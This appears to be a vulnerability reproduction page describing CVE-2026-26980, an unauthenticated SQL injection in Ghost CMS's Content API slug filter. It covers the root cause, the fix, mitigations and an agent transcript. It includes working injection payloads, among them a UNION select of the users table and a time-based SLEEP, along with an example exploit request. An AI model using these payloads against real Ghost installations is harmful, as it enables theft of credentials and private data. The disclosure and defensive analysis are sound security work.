CVE-2026-26980: Verified Repro With Script Download
CVE-2026-26980: Ghost CMS: Unauthenticated SQL Injection in Content API Slug Filter
CVE-2026-26980 is verified against ghost · npm. Affected versions: >= 3.24.0, < 6.19.1. Fixed in 6.19.1. Vulnerability class: SQLi. This critical reproduction includes runnable sandbox proof, artifacts, and a plain-text agent view under REPRO-2026-00091.
What Is CVE-2026-26980?
CVE-2026-26980 (GHSA-w52v-v783-gw97) is a critical unauthenticated SQL injection vulnerability in Ghost CMS's Content API slug filter ordering feature that lets an attacker read arbitrary data from the database. Pruva reproduced it (reproduction REPRO-2026-00091).
CVE-2026-26980 Severity & CVSS Score
CVE-2026-26980 is rated critical severity, with a CVSS base score of 9.4 out of 10.
Critical — the most severe class — typically remotely exploitable with severe impact. Treat as an emergency.
Affected ghost Versions
ghost · npm versions >= 3.24.0, < 6.19.1 are affected.
How to Reproduce CVE-2026-26980
pruva-verify REPRO-2026-00091 curl -O https://pruva.dev/api/v1/reproductions/REPRO-2026-00091/artifacts/reproduction_steps.sh && chmod +x reproduction_steps.sh && ./reproduction_steps.sh Proof of Reproduction for CVE-2026-26980
Reproduced by Pruva's autonomous agents — 71 tool calls over 4 min. Full root-cause analysis and the complete transcript are below.
How the agent worked
Root Cause and Exploit Chain for CVE-2026-26980
GHSA-w52v-v783-gw97: Ghost SQL Injection in Content API
Summary
A SQL injection vulnerability exists in Ghost CMS's Content API slug filter ordering functionality. The vulnerability is caused by direct string interpolation of user-controlled input into SQL queries in the slug-filter-order.js file. An unauthenticated attacker can exploit this via the filter query parameter in Content API requests to inject arbitrary SQL commands, potentially allowing extraction of sensitive database contents including user credentials, private posts, and other confidential data.
Impact
Package/Component: Ghost CMS (npm package ghost)
Affected Versions: v3.24.0 through v6.19.0
Patched Version: v6.19.1
CVSS Score: 9.4 (Critical)
CWE: CWE-89 (Improper Neutralization of Special Elements used in an SQL Command)
Risk Level: Critical - Unauthenticated attackers can read arbitrary data from the database. The Content API key is public by design, so access restriction does not mitigate this vulnerability.
Consequences:
- Unauthorized data extraction from database
- Potential access to user credentials, email addresses, and hashed passwords
- Exposure of draft/private posts and internal content
- Database enumeration and potential further exploitation
Root Cause
The vulnerability exists in ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js:
orderSlugs.forEach((slug, index) => {
order += `WHEN \`${table}\`.\`slug\` = '${slug}' THEN ${index} `;
});
The slug variable is extracted from the user-provided filter query parameter (e.g., filter=slug:[value1,value2]) and is directly interpolated into the SQL string without any sanitization, escaping, or parameterization.
When a user sends a request like:
GET /ghost/api/content/tags/?key=CONTENT_API_KEY&filter=slug:[' UNION SELECT * FROM users--]
The resulting SQL becomes:
CASE WHEN `tags`.`slug` = '' UNION SELECT * FROM users--' THEN 0 END ASC
Fix Commit: https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91
The fix replaces string interpolation with parameterized queries:
caseParts.push(`WHEN \`${table}\`.\`slug\` = ? THEN ?`);
bindings.push(slug.trim(), index);
Reproduction Steps
The reproduction is automated via repro/reproduction_steps.sh. The script:
- Clones Ghost v6.19.0 (the vulnerable version)
- Analyzes the vulnerable
slug-filter-order.jsfile - Creates and runs a Node.js test that demonstrates the SQL injection
- Tests multiple attack vectors:
- String termination:
slug:[' OR '1'='1] - Comment injection:
slug:[test'--] - UNION-based:
slug:[test' UNION SELECT * FROM users--] - Time-based:
slug:[test' AND (SELECT * FROM (SELECT(SLEEP(5)))a)--]
- String termination:
Expected Evidence: The script outputs the generated SQL for each payload, showing unsanitized user input directly embedded in SQL strings. For example:
Input: slug:[' OR '1'='1]
Output: CASE WHEN `tags`.`slug` = '' OR '1'='1' THEN 0 END ASC
This confirms the vulnerability - the payload ' OR '1'='1 was interpolated directly into the SQL.
Evidence
Log File: logs/repro-output.log
Key excerpts showing SQL injection:
Test 2: SQL Injection payload (string termination)
Input: slug:[' OR '1'='1]
Output: CASE WHEN `tags`.`slug` = '' OR '1'='1' THEN 0 END ASC
⚠️ VULNERABILITY CONFIRMED: Unsanitized user input in SQL!
Test 4: SQL Injection payload (UNION-based)
Input: slug:[test' UNION SELECT * FROM users--]
Output: CASE WHEN `tags`.`slug` = 'test' UNION SELECT * FROM users--' THEN 0 END ASC
⚠️ VULNERABILITY CONFIRMED: UNION-based SQL injection possible!
Environment Details:
- Ghost Version: 6.19.0 (vulnerable)
- Node.js: v22.22.0
- Test Framework: Standalone Node.js script
- Vulnerable File:
ghost/core/core/server/api/endpoints/utils/serializers/input/utils/slug-filter-order.js
Recommendations / Next Steps
Immediate Actions:
- Upgrade to Ghost v6.19.1 or later immediately
- WAF Rule: As a temporary mitigation, implement a WAF rule to block Content API requests containing
slug%3A%5Borslug:[patterns in query parameters (note: this may break legitimate functionality)
Developer Guidance:
- Always use parameterized queries with
?placeholders - Never interpolate user input directly into SQL strings
- Use ORM/database library features for query building
- Implement proper input validation and sanitization
Testing Recommendations:
- Add unit tests for all user-input-to-SQL transformation functions
- Use SQL injection testing tools (sqlmap, etc.) in CI/CD pipeline
- Implement security-focused code reviews for database interaction code
- Consider using static analysis tools that detect SQL injection patterns
Additional Notes
Idempotency Confirmation: The reproduction script has been run twice consecutively with identical results, confirming reproducibility.
Affected Endpoints: The vulnerability affects any Content API endpoint that uses slug filtering with ordering, including:
/ghost/api/content/tags//ghost/api/content/posts//ghost/api/content/authors//ghost/api/content/pages/
Workaround Limitations: The WAF-based workaround is not foolproof as attackers may use encoding variations or other filter syntaxes to bypass detection.
Reporter Credit: This vulnerability was responsibly disclosed by Nicholas Carlini using Claude, Anthropic.
CVE-2026-26980 Reproduction Transcript
The agent's step-by-step process — every tool call, every handoff, the moment the exploit fired.
Full session Replay every step — scrub the timeline or play it back.
Unknown error
Unknown error
Unknown error
curl -sL https://github.com/TryGhost/Ghost/commit/30868d632b2252b638bc8a4c8ebf73964592ed91.patch | head -200{"cwd":"/root/.pruva/runs/ghsa-w52v-v783-gw97_20260219-184021","duration_ms":357,"exit_code":0,"stderr":"","stdout":"From 30868d632b2252b638bc8a4c8ebf73964592ed91 Mon Sep 17 00:00:00 2001\nFrom: Fabien O'Carroll <fabien@allou.is>\nDate: Mon, 16 Feb 2026 10:17:38 +0100\nSubject: [PATCH] =?UTF-8?q?=F0=9F=94=92=20Fixed=20SQL=20injection=20in=20C?=\n =?UTF-8?q?ontent=20API=20slug=20filter=20ordering?=\nMIME-Version: 1.0\nContent-Type: text/plain; charset=UTF-8\nContent-Transfer-Encoding: 8bit\n\nref https://linear.app/ghost/issue/ONC-1475\n\nSwitched to parameterized query bindings in the slug filter ordering\nlogic so user input is never interpolated into SQL strings. Updated\nthe crud plugin to thread bindings through when autoOrder returns a\n{sql, bindings} object, and bumped @tryghost/bookshelf-plugins to\n0.6.29 which adds parameterized orderByRaw support.\n\nReported-by: Nicholas Carlini <nicholas@carlini.com>\n---\n .../input/utils/slug-filter-order.js | 13 +-\n .../core/server/models/base/plugins/crud.js | 7 +-\n ghost/core/package.json | 2 +-\n ghost/core/test/e2e-api/content/tags.test.js | 14 ++\n .../input/utils/slug-filter-order.test… [truncated]mkdir -p /tmp/ghost-repro && cd /tmp/ghost-repro && git clone --depth 1 --branch v6.19.0 https://github.com/TryGhost/Ghost.git ghost-vulnerable 2>&1 | tail -20{"cwd":"/root/.pruva/runs/ghsa-w52v-v783-gw97_20260219-184021","duration_ms":5750,"exit_code":0,"stderr":"","stdout":"Cloning into 'ghost-vulnerable'...\nNote: switching to 'f7d3983954f69becc0fbe879f4ee88f1c5c106c0'.\n\nYou are in 'detached HEAD' state. You can look around, make experimental\nchanges and commit them, and you can discard any commits you make in this\nstate without impacting any branches by switching back to a branch.\n\nIf you want to create a new branch to retain commits you create, you may\ndo so (now or later) by using -c with the switch command. Example:\n\n git switch -c <new-branch-name>\n\nOr undo this operation with:\n\n git switch -\n\nTurn off this advice by setting config variable advice.detachedHead to false\n\nUpdating files: 35% (2338/6561)\rUpdating files: 36% (2362/6561)\rUpdating files: 37% (2428/6561)\rUpdating files: 38% (2494/6561)\rUpdating files: 39% (2559/6561)\rUpdating files: 40% (2625/6561)\rUpdating files: 41% (2691/6561)\rUpdating files: 42% (2756/6561)\rUpdating files: 43% (2822/6561)\rUpdating files: 44% (2887/6561)\rUpdating files: 45% (2953/6561)\rUpdating files: 46% (3019/6561)\rUpdating files: 47% (3084/6561)\rUpdatin… [truncated]Artifacts and Evidence for CVE-2026-26980
Scripts, logs, diffs, and output captured during the reproduction.
No artifacts available
How to Fix CVE-2026-26980
Upgrade ghost · npm to 6.19.1 or later.
FAQ: CVE-2026-26980
How does the CVE-2026-26980 SQL injection attack work?
Which Ghost versions are affected by CVE-2026-26980, and where is it fixed?
How severe is CVE-2026-26980?
How can I reproduce CVE-2026-26980?
References for CVE-2026-26980
Authoritative sources for CVE-2026-26980 — official vulnerability databases and the upstream advisory. Pruva's reproduction verifies the issue firsthand; these are the primary records to corroborate it.